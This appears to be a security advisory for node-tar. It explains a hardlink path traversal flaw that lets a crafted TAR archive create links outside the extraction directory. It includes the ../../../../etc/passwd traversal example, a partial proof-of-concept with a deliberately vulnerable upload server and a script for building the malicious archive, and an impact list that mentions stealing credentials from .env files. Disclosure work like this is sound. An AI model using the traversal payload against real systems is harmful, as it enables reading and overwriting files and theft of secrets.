Description

node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal

Summary

node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details

The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:

Security check in [STRIPABSOLUTEPATH]:

const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }

Hardlink creation in [HARDLINK]:

const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);

Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.

Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.

Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.

The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC

Setup

Create a new directory with these files:

poc/
├── package.json
├── secret.txt          ← sensitive file (target)
├── server.js           ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/            ← created automatically by server.js
    └── (extracted files go here)...
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package.json

{ "dependencies": { "tar": "^7.5.0" } }

secret.txt (sensitive file outside uploads/)

DATABASE_PASSWORD=supersecret123

server.js (vulnerable file upload server)

const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });...
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create-malicious-tar.js (attacker creates exploit TAR)

const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) {
  const b = Buffer.alloc(512, 0);
  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
  b.write('        ', 148);...
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Run

# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt

# Terminal 1: Start server
node server.js

# Terminal 2: Execute attack...
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Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.

Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

Remote Code Execution / Server Takeover

Data Exfiltration & Corruption

Overwrite arbitrary files via hardlink escape + subsequent write operations

Read sensitive files by creating hardlinks that point outside extraction directory

Corrupt databases and application state

Steal credentials from config files, .env, secrets

Mitigation

Aliases

References